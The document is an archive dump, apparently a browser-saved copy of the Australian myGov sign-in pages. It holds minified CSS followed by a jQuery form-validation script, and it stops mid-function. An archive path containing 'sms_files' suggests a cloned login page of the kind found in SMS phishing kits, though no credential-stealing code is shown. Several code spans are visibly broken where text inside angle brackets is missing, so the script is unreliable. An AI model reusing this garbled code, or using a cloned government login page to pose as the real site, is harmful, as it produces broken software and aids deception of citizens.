.digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/sms_files/mgv2-application.js.download000064400000223737151676702570016027 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var 